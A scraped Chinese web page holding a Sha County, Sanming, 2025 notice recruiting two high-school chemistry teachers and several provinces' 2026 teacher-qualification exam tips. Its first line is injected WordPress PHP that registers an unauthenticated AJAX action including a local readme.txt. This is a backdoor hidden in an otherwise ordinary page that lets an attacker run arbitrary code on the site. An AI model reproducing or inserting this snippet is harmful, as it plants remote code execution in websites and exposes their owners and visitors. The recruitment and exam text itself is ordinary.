if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
福建省三明市沙县区2025年教师招聘通告-全国教师资格考试网

福建省三明市沙县区2025年教师招聘通告

三明市沙县区2025年紧缺急需学科教育人才引进补充招聘通告

根据《三明市沙县区人民政府关于印发〈三明市沙县区教育卫生专业技术岗位人才引进培养和使用办法(修订版)〉的通知》(沙政规〔2024〕2号)和《三明市沙县区2025年紧缺急需学科教育人才引进通告》(沙教〔2025〕3号)等文件精神,现将化学学科空缺岗位补充招聘的有关事项通告如下:

一、招聘岗位

补充招聘高中化学教师2名:沙县区第一中学和沙县区金沙高级中学各1名。

具体岗位资格条件等要求,详见《三明市沙县区人民政府关于印发〈三明市沙县区教育卫生专业技术岗位人才引进培养和使用办法(修订版)〉的通知》(沙政规〔2024〕2号)(附件1)和《沙县区2025年紧缺急需教育人才引进补充招聘岗位信息表》(附件2)。

二、招聘条件

(一)基本条件

1.具有中华人民共和国国籍;

2.遵守中华人民共和国宪法、法律、法规;

3.遵守纪律、品行端正,具备良好的职业道德;

4.具备招聘岗位所需的学历、学位、专业、教师资格及岗位要求的其他条件;

5.适应招聘岗位所要求的身体条件;

6.年龄18周岁以上、30周岁以下(1994年2月至2007年2月期间出生)。

7.香港、澳门特别行政区永久性居民中的中国公民和台湾居民,符合岗位要求资格条件的可以报考。

(二)不得报考或取消聘用资格的情形

1.曾因犯罪受过刑事处罚或曾被开除公职的人员;

2.受党纪政纪处分期间或者未满影响期限以及涉嫌违纪违法正在接受有关部门调查尚未作出结论的人员;曾受过党内严重警告或政务记过及以上处分的人员。

3.在各级公务员或事业单位招考中因违纪违规行为被记入诚信档案且记录期限未满的人员;

4.聘用后即构成《事业单位人事管理回避规定》(人社部规〔2019〕1号)中明确的回避关系的人员;

5.被依法列为失信联合惩戒对象且尚未履行义务的人员;

6.被开除中国共产党党籍的人员;

7.在读的非应届毕业生(即2026年及以后才学业期满的全日制普通教育学生)、定向培养、委托培养毕业生、现役军人以及法律法规规定不得聘用为事业单位工作人员的其他人员;

8.按有关规定或公务员招录、事业单位招聘要求的最低服务年限未满的人员;

9.本人不愿意承诺履行服务期限的人员;

10.沙县区机关事业单位在编在岗人员。

(三)具体要求

1.本次招聘使用《福建省机关事业单位招考专业指导目录(2025年)》(以下简称《专业指导目录》)进行专业条件设置和审核,报考者可以通过福建省公务员考试录用网查询。专业条件设置为“××类”的岗位,报考者所学专业应与《专业指导目录》中“××类”所列的某一专业一致;专业条件设置为具体专业名称的岗位,报考者所学专业与所列专业一致者方可报考;取得双学历(位)的报考人员(含教育行政主管部门官网可查询到的辅修专业),可以选择符合招聘岗位专业条件的任一学历(位)报考(有学位要求的,其学历、学位均须与招聘岗位要求的专业条件对应);报考者专业的确认,以毕业证书所署的专业名称为准,报考者要如实(一字不差)填写所学专业。

2.报考者填报的专业、学历(学位)、教师资格层次须存在对应关系,并与报考岗位所需专业、学历(学位)、教师资格层次相匹配,与本人毕业证书上的专业名称、学历(学位)、教师资格层次相一致。

3.报考者持有的学历、学位应在中国高等教育学生信息网(简称学信网,http://www.chsi.com.cn/)上可查询认证,并能提供《教育部学历证书电子注册备案表》《中国高等教育学位在线验证报告》。根据《关于在全省高校毕业生中试行“双学位”“双专业”教育的意见》(闽教高〔2009〕9号),经修读达到毕业条件并获得“双学位”、“双专业”证书的报考者,其“双学位”、“双专业”所对应的学历学位,应在福建省教育厅门户网站(http://www.fjedu.gov.cn/)上“便捷查询”栏目的“双学位双专业”可查询认证。

4.国(境)外学历、学位证书以教育部学历(学位)认证部门(专指教育部学生服务与素质发展中心、教育部学位与研究生教育发展中心、教育部留学服务中心)出具的专业或学位名称为准。

5.学历、学位认证材料,在报名时与其他材料一并提交招聘单位审核。往届毕业生的学历、学位证书应在报名前取得,2025年全日制普通高校应届毕业生的学历、学位证书取得的时间可截止2025年7月31日(报名时提供院校出具的相关证明)。所有报考者的教师资格证书要求截止时间为2025年7月31日。规定期限内未取得学历、学位证书、教师资格证书或不符合相关资格条件的,取消聘用资格。

三、招聘办法与程序

本次公开招聘坚持德才兼备、择优聘用的用人标准,贯彻“公开、平等、竞争、择优”的原则,按照发布通告、报名、资格审核、笔试(视报名人数确定)、面试、体检、考察、公示、聘用等基本程序进行。

(一)发布通告

本次公开招聘有关事宜在三明市沙县区人民政府网(http://www.fjsx.gov.cn/wzq/bmwz/jyj/)面向社会发布。

(二)报名

1.报名方式:本次考试采取现场报名的方式进行,报考者到沙县区教育局人事股报名(地址:三明市沙县区府前中路278号沙县区教育局3楼人事股,电话0598-5855809)。

2.报名时间:本通告发布之日起至2025年2月28日(正常工作日上班时间)。

3.报名须提交材料:

(1)沙县区2025年紧缺急需学科教育人才引进报名登记表(附件3);

(2)身份证原件及复印件(正反两面)各1份;

(3)毕业证原件及复印件、教育部学历证书电子注册备案表(学信网查询打印,需在验证有效期内可扫码验证)各1份;

(4)学位证原件及复印件、中国高等教育学位在线验证报告(学信网查询打印,需在验证有效期内可扫码验证)各1份;

(5)教师资格证原件及复印件(本人照片页及公章页)、证书查询结果打印件(中国教师资格网查询打印)各1份;

(6)沙县区2025年紧缺急需学科教育人才引进报名信息表(附件4,扫码填报)。

(7)师范类专业的报考者须提供毕业院校教务部门出具的所学课程、成绩证明原件及复印件(师范类专业课程有教育学、心理学及教育实践实习,往届生可从本人人事档案中复印并加盖人事档案管理部门公章);

2025年应届毕业生若有关证件未办理的,应由院校出具相应证明,并提交毕业生就业推荐表。

考生本人无法现场报名的,可委托他人办理。受托人须携带本人身份证原件及复印件、委托书(委托人手写签字并按手印)和上述材料到人事股报名。报名材料以现场提交的纸质材料为准,如有缺失或逾期则报名无效。报考者务必准确填写联系电话并保持通讯工具通畅,因联系方式有误或不畅通而影响招聘的,后果由报考者自负。

(三)资格审查

报考者将所报考岗位要求的相关材料提交沙县区教育局人事股审核。资格审查工作贯穿招聘工作全过程,在任何阶段一经发现报考人员不符合招聘公告规定或不符合招聘岗位资格条件或提供虚假信息(含考察期间提供的证明材料等),即取消考试、聘用资格或解除聘用合同。

(四)考试

本次招聘采取直接面试考核的方式进行,重点考查报考者的专业技能和素质。面试工作由沙县区教育局负责组织实施,面试时间、地点另行通知。

若符合条件的报考(面试)人数超过25人时,增加笔试环节,笔试成绩不计入面试总成绩。

1.面试形式:采取现场解题说题的方式进行,面试时间为15分钟,准备时间15分钟。

2.面试内容:现行高中一年级化学学科教学内容(面试内容最终以现场提供为准)。

3.面试成绩:面试成绩总分100分,合格线为70分,按解题50%、说题50%合并计算。面试总成绩采取去掉一个最高分和一个最低分,按其余五位评委所评分数平均分作为参考人员面试现场宣布的成绩(保留小数点后3位)。

招聘岗位不分组的,面试现场宣布的成绩即最终面试成绩;因招聘岗位报名人数多需进行面试分组的,面试现场宣布的成绩还需采用修正系数法进行修正后得到最终面试成绩。

各分组考生分数修正方法如下:

本组修正系数=本岗位所有考生面试现场宣布成绩的平均分÷本面试组考生面试现场宣布成绩的平均分。

考生最终面试成绩=该考生面试现场宣布成绩×本组修正系数。

考生面试现场宣布成绩、修正系数、最终面试成绩等将在沙县区人民政府网发布。

4.同分判定:若有2个及以上报考者的成绩相同,则报经沙县区教师招聘工作领导小组同意后加试一场面试,报考者名次按加试的面试成绩从高到低依次排列。

(五)签约

根据面试成绩从高分到低分,按岗位招聘人数1:1的比例,从达到面试成绩合格线的报考者中择优确定入围人选。并按招聘岗位条件要求及面试成绩从高到低的顺序依序选岗,并签订《普通高等学校毕业生就业协议书》和《沙县区教育人才引进拟聘用协议书》。每位拟聘考生仅选岗一次,任教学校选择确定后不得更改。

2025届毕业生若未能按期取得毕业证、学位证、教师资格证的,协议书自动终止,用人单位不承担违约责任。

(六)体检

已签订协议人员由沙县区教育局统一组织体检,体检标准和项目参照公务员录用体检标准和要求执行,体检费用由报考者本人自理。体检缺席者,取消聘用资格。体检中出现不合格者或是报考人员自愿放弃的,从考试合格的人员中按成绩由高分至低分依次递补。除人社部发〔2012〕65号文件规定“对心率、视力、听力、血压等项目达不到体检合格标准的,应安排当日复检;对边缘性心脏杂音、病理性心电图、病理性杂音、频发早搏(心电图证实)等项目达不到合格标准的,应安排当场复检”的情形外,报考者对体检结果有疑问的,可在接到体检结论的7日内提出复检申请,复检只能进行一次,以复检的结果为准。凡在体检中弄虚作假或者隐瞒真实情况的报考者,不予聘用或取消聘用。

(七)考察

对体检合格考生的考察参照公务员录用考察标准执行,同时根据《福建省教育厅关于印发<福建省教职员工准入查询工作实施方案(试行)》(闽教师〔2024〕3号)进行准入查询。

对考生的考察,采取查阅档案、谈话等方式以及户籍所在地县级纪检监察、政法委、检察院等部门协审进行。主要考察报考者的政治思想、道德品质、遵纪守法、廉洁自律、能力素质、工作态度、在校学习和工作(待业)表现,以及是否需要回避等方面的情况,了解是否存在经商办企业行为,并对应聘资格进行复查。考察中如应聘人员资格不合格的,取消聘用资格,从考试合格的人员中按成绩由高分至低分依次递补。

(八)公示

符合组织考察与协审条件的,由主管局研究,提出拟引进人才初选名单,在主管局单位公示,并报区教育卫生人才评审委员会研究。

根据招聘岗位条件要求以及面试、体检、考察结果确定拟聘人选,并在沙县区人民政府网向社会公布,同时公布监督电话,接受社会监督,公示期为7天。

(九)聘用

区教育卫生人才评审委员会研究通过的拟引进人才名单,报区委编委会或区委常委会审批通过,并报区委人才办备案后,办理聘用入编手续,与招聘学校签订事业单位聘用合同。

新聘人员符合人才引进政策按规定享受相关待遇。试用期12个月,试用期满考核不合格者,取消聘用资格。聘用人员在我区最低服务年限10年(含试用期)。签订就业协议后放弃聘用或在服务期内申请解聘的,承担相应的违约责任,且其人事档案10年内不予转递。

四、其他事项

(一)报考者请诚信报考,在面试、选岗、体检等各阶段招聘工作程序中,因个人原因要求放弃报考岗位招聘资格的,须由本人书面提交放弃申明,放弃申明应写在考生身份证复印件的空白页面并签名,于面试、选岗、体检等各阶段招聘工作程序前3日提交区教育局人事股,否则记入教师招聘诚信档案。

(二)沙县区教育系统纪委对招聘工作全程监督,监督电话:0598-5855822。

(三)本通告仅适用于本次公开招聘,由沙县区教育局负责解释。

附件:1.三明市沙县区教育卫生专业技术岗位人才引进培养和使用办法(修订版).doc

2.沙县区2025年紧缺急需学科教育人才引进岗位信息表.xlsx

3.沙县区2025年紧缺急需学科教育人才引进报名登记表.docx

4.沙县区2025年紧缺急需学科教育人才引进报名信息表.docx

三明市沙县区教育局

2025年2月21日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部